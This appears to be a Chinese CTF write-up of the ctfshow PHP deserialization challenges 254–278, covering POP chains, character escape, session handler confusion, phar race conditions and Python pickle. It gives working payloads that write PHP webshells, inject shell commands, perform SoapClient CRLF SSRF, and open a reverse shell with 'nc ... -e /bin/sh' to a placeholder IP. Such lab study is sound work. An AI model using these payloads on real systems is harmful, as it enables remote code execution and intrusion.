ctfshow-重温反序列化
因为之前做的没写在md上,打算重做一遍,先从有点薄弱的反序列化开始, 后面有时间的话大概还会补一下命令执行、php特性和文件包含
常用魔术方法:
__wakeup()
//执行unserialize()时,先会调用这个函数__sleep()
//执行serialize()时,先会调用这个函数__destruct()
//对象被销毁时触发__call()
//在对象上下文中调用不可访问的方法时触发__callStatic()
//在静态上下文中调用不可访问的方法时触发__get()
//用于从不可访问的属性读取数据或者不存在这个键都会调用此方法__set()
//用于将数据写入不可访问的属性__isset()
//在不可访问的属性上调用isset()或empty()触发__unset()
//在不可访问的属性上使用unset()时触发__toString()
//把类当作字符串使用时触发__invoke()
//当尝试将对象调用为函数时触发
254 认识类
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
让大家眼熟一下基本结构,传入的username和password等于类里的值就行
?username=xxxxxx&password=xxxxxx
255 初涉
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
简单分析一下:
- 要定义username和password;从cookie传值user进行反序列化
- 序列化得到的username和password要和传入的相等
- isvip为true
poc:
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
payload:
get:?username=xxxxxx&password=xxxxxx
cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
256 初涉
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
分析:其余同上,不同的是要求username和password不等
改一下值就行:
poc:
<?php
class ctfShowUser{
public $username='xxxxxx1';
public $password='xxxxxx2';
public $isVip=true;
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
payload:
get:?username=xxxxxx1&password=xxxxxx2
cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22xxxxxx1%22%3Bs%3A8%3A%22password%22%3Bs%3A7%3A%22xxxxxx2%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
257 ezpop
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
初涉pop链,先认识一些常见的魔法函数(具体可以看y4师傅的这篇PHP反序列化总结_Y4tacker)
__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发
分析:
入口在ctfShowUser->login函数,要求username和password和传入的一样,序列话不给值的话传啥都可以
当该对象被销毁时触发class->getinfo(),下面两个类都有getinfo,backDoor存在eval
那么:
- ctfShowUser->class=new backDoor()
- backDoor->code=要执行的命令
poc:(不设定username和password的话传什么都可以)
<?php
class ctfShowUser{
private $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code="system('tac ./flag.php');";
}
$a = new ctfShowUser();
echo urlencode(serialize($a));
payload:
get:?username=xxxxxx&password=xxxxxx
cookie:user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A25%3A%22system%28%27tac+.%2Fflag.php%27%29%3B%22%3B%7D%7D
258 正则
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
正则preg_match('/[oc]:\d+:/i', $_COOKIE['user'])
,匹配对象o或者数字c
也就是 o|c:数字
绕过方法也很简单 ,参考php反序列unserialize的一个小特性 – phpbug
按文中所说使用 o:+数字
即可,如O:3
->o:+3
poc:
<?php
class ctfShowUser{
public $class;
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
public $code='eval($_POST[1]);';
}
$a = new ctfShowUser();
$a = str_replace('O:', 'O:+', $a);
# $a = preg_replace('/([oc]\:)(\d+)/i', '$1+$2', serialize($a));
echo urlencode($a);
# O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A16%3A%22eval%28%24_POST%5B1%5D%29%3B%22%3B%7D%7D
259 SSRF+SoapClient->__call()+CRLF
hint:flag.php部分源码
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
index.php
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
127.0.0.1访问flag.php,且传入token=ctfshow
但是试了一下xff发现不行,应该还检测了真实ip
if($_SERVER['REMOTE_ADDR']==='127.0.0.1')
可以看到反序列化后会调用$vip->getFlag();
那么就可以触发原生类SoapClient-的__call()方法,配合CRLF实现ssrf
SoapClient与CRLF组合拳 – purplet的博客
从一道题学习SoapClient与CRLF组合拳_Y4tacker的博客-CSDN博客
CRLF注入攻击
CALF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。
在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。
所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。
SoapClient
当调用 SoapClient 类的 __call() 魔术方法的时候,会发送一个 POST 请求,请求的参数由着 SoapClient 类的一些参数决定。
思路如下:构造poc,令vip=类SoapClient,然后调用不存在的getFlag()方法,触发_call()
,从而发送一个POST请求;符合条件后就会将flag写入flag.txt,访问就能拿到flag
poc:
<?php
$post_string = 'token=ctfshow';
$a = new SoapClient(null, array(
'uri'=> "http://127.0.0.1/flag.php",
'location' => 'http://127.0.0.1/flag.php',
'user_agent'=>"edge\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded"."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
)
);
echo(urlencode(serialize($a)));
?>
# O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A127%3A%22edge%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
flag会被写入到flag.txt,访问就能拿到flag
260 正则
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
反序列化后符合正则就行了
poc:
<?php
class a{
public $a = "ctfshow_i_love_36D";
}
$a = new a();
echo urlencode(serialize($a));
261 wakeup与unserialize,弱比较
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
把大部分魔术方法都重写了,分析一下关键函数:
__wakeup
:要求username和password非空通常绕过
__wakeup
都是修改属性个数,但是这里的版本为7.4.16,该方法就不奏效了- 影响范围
PHP5 < 5.6.25
PHP7 < 7.0.10
- 漏洞原理
当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行。
但是还存在着
__unserialize()
,并且在php官方文档中是这样说的: 当同时存在__wakeup
和__unserialize()
的时候,只会调用__unserialize()
所以这里不用管它-
__unserialize
:令code=username . password__destruct
:符合弱比较$this->code==0x36d 则执行file_put_content,两个参数也可控:username和passwordPHP 浅谈 == 和=== 中,数字和字符串比较的问题 Au-CSDN博客
1.当字符串中 以 数字开头 +字符串+数字或字符(字符串)+... 格式与数字进行 == 判断时,
会取第一次出现字符(字符串)前的数字作为转换值。
2.当字符串中 以 字符(字符串)开头 +数字+数字或字符(字符串)+... 格式与数字进行 == 判断时,
不能转换为数字,被强制转换为0
0x36d十进制为877,那么其与
877
+字符
进行弱比较,经本地测试就会返回true,但是在php8就不行了
目的就是赋值username和password为文件名和文件内容,最终利用file_put_contents写马, 而弱比较可以通过赋文件名为877xxxxx来绕过
poc:
<?php
class ctfshowvip{
public $username='877.php';
public $password='<?php eval($_POST[1]);?>';
}
$a = new ctfshowvip();
echo urlencode(serialize($a));
262 字符逃逸
解法一
index.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
这题考点是字符逃逸的关键在于:$umsg = str_replace('fuck', 'loveU', serialize($msg));
序列化后,正则匹配将原本长度为4的fuck
换成长度为5的loveU
,但因为是序列化后再进行的替换,其长度值没有改变,就造成了实际长度大于标记长度的情况,从而导致反序列化失败;但只要补充字符使得实际长度和标记一样即可成功反序列化。
再看index.php源码,类message只有from、msg、to可以通过get传参控制, 但想要拿到flag需要token=admin,那么我们就可以利用这个情况,补上token的序列化数据字符来实现控制
流程如下:
想要构造的序列化数据:O:7:"message":1:{......";s:5:"token";s:5:"admin";}
利用";
构造前面$to的闭合,";s:5:"token";s:5:"admin";}
这一串的长度为27
那么就传入27个fuck,使其能成功反序列化,并且成功闭合,使得反序列化后能够控制token
payload:
/?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
然后再访问message.php即可
解法二
message.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
传值反序列化,token=admin即可
<?php
class message{
public $token='admin';
}
$a = new message();
echo urlencode(base64_encode(serialize($a)));
263 session伪造
www.zip源码泄漏
seay扫一下或者自己审都行
inc.php
<?php
ini_set('session.serialize_handler', 'php');
# ...
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
# ...
看到inc.php存在file_put_contents函数,
且设置session序列化引擎为phpini_set('session.serialize_handler', 'php');
,
而其他页面则没有配置,猜测该页面的session.serialize_handler
与默认配置php.ini
中的不同
利用点是:session.serialize_handler不同引起的反序列化
带你走进PHP session反序列化漏洞 - 先知社区 (aliyun.com) 深入浅析PHP的session反序列化漏洞问题php实例脚本之家 (jb51.net)
在处理器不同的情况下,假如序列化和反序列化使用的处理器不同,就会形成漏洞
看一下不同引擎的存储方式的不同之处:
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值(key | value)
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
利用
|
分割键名键值的机制写入木马
关键代码:
- index.php,写入cookie
- check.php,通过
$_SESSION['limit']=base64_decode($_COOKIE['limit']);
将session写入session文件 - inc.php,
ini_set('session.serialize_handler', 'php');
和session_start();
,只要访问即会获取之前写入的session
数据触发反序列化, 因为check.php包含了inc.php,就会触发析构函数,就可以利用file_put_contents
写入名为log-.$this->username
,内容为$this->password
的文件; 然后访问文件即可(注意这里文件名前拼接了log-
)
poc:
<?php
class User{
public $username = 'a.php';
public $password = '<?php system("cat flag.php") ?>';
}
$a = new User();
echo base64_encode('|'.serialize($a));
264 字符逃逸(session传值)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
message.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
做法payload同262,但是使用了session,传入有些差别
要注意的是:
- 因为
if(isset($_COOKIE['msg']))
的存在,所以还是要传一个cookie值msg
以符合if判断 - php的session是从PHPSESSID获取的,所以要记下传payload后返回包的PHPSESSID,再传到message.php去
265 &引用
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
显然很难这么幸运传入一个token使得$ctfshow->token=md5(mt_rand());
将password指向token即可 (引用,类似c的指针)
poc:
<?php
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->password = &$this->token;
}
}
$a = new ctfshowAdmin();
echo serialize($a);
# O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;}
266 类|函数大小写不敏感
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
只有一个检测点:
正则匹配:传入的参数不能有ctfshow
,但这是我们的类名,是肯定不能省的
这里考点就是一个 php的特性:
- 函数名和类名大小写不敏感
- 变量名大小写敏感
poc:(不传username或者password也行,原本定义的就符合条件了)
<?php
class CtfShow{
public $username='xxxxxx';
public $password='xxxxxx';
}
$a = new CtfShow();
echo serialize($a);
# O:7:"CtfShow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
$cs是用的伪协议php://input赋值的,把payload post过去就行
275 rce绕过
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
代码很长,利用点在析构函数,符合if判断if($this->evilfile)
即可rce:system('rm '.$this->filename);
这题核心考点实际就是rce绕过;让evilfile为true,拼接一下绕过rm
就行
GET: ?fn=;tac f*
POST: flag
276 phar反序列化
受影响函数:(byPhar与Stream Wrapper造成PHP RCE的深入挖掘 - zsx's Blog (zsxsoft.com))
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
比275多了个if判断: if($this->evilfile && $this->admin)
,让两个都为true即可
没发现反序列化入口,不过存在file_put_content()可以配合phar://触发反序列化
但要注意的是他会把咱们的文件删掉unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
,不过在unlink
前会先进行复制copy($_GET['fn'],md5(mt_rand()).'.txt');
,io操作是需要一定时间的,可以尝试条件竞争来触发,搞个多线程:
利用file_put_content写一个phar文件上去
GET: ?fn=xxx.phar
POST: phar文件内容phar://协议读咱们上传的phar文件,从而触发反序列化
GET: ?fn=phar://xxx.phar
poc:(先生成phar文件)
<?php
class filter{
public $filename=";tac fl*";
public $evilfile = true;
public $admin = true;
}
$a = new filter();
echo urlencode(serialize($a));
# 下面这部分就没改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
偷一份tari师傅的多线程脚本:
import base64
import requests
import threading
flag = False
url = 'http://0f5a5b64-ef6b-4317-b093-3f2fc62f1df9.challenge.ctf.show:8080/'
data = open('./phar.phar', 'rb').read()
pre_resp = requests.get(url)
if pre_resp.status_code != 200:
print(url + '\n链接好像挂了....')
exit(1)
def upload():
requests.post(url+"?fn=phar.phar", data=data)
def read():
global flag
r = requests.post(url+"?fn=phar://phar.phar/", data="")
if "ctfshow{" in r.text and flag is False:
print(base64.b64encode(r.text.encode()))
flag = True
while flag is False:
a = threading.Thread(target=upload)
b = threading.Thread(target=read)
a.start()
b.start()
267-274|框架
---下面是框架题,等后面再细细研究
267-270 yii框架
about 源代码提示<!--?view-source -->
login弱口令admin/admin
访问url/?r=site/about&view-source得到反序列化点
poc和分析我是怎么挖掘yii2反序列化0day的 (qq.com)
271-273 Laravel
271:laravelv5.7反序列化rce(CVE-2019-9081) | WisdomTree's Blog (laworigin.github.io)
272、273:Laravel5.8.x反序列化POP链 - 先知社区 (aliyun.com)
(二者php版本有点点差别,但poc没啥区别)
274 thinkphp5.1
thinkphp5.1.x~5.2.x版本反序列化链挖掘分析 - 先知社区 (aliyun.com)
277、278 python 反序列化
无回显,搞个反弹shell,不会整python的反弹shell,抄一下:
yu师傅的脚本:
import pickle
import base64
class A(object):
def __reduce__(self):
return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4567 -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))
tari师傅的脚本
import base64
import pickle
import requests
class a():
def __reduce__(self):
return(__import__("os").popen, ('nc xxx.xxx.xxx.xxx 4567 -e /bin/sh',))
a = a()
s = pickle.dumps(a)
s_base64 = base64.b64encode(s)
url = 'http://ae2307a8-9301-4c31-bb56-a70b7eb3af9b.challenge.ctf.show/backdoor'
params={
'data': s_base64
}
requests.get(url, params)
参考文章
CTFshow-WEB入门-反序列化_feng-CSDN ctfshow 反序列化篇 - TARI TARI ctfshow 反序列化 - 羽 csdn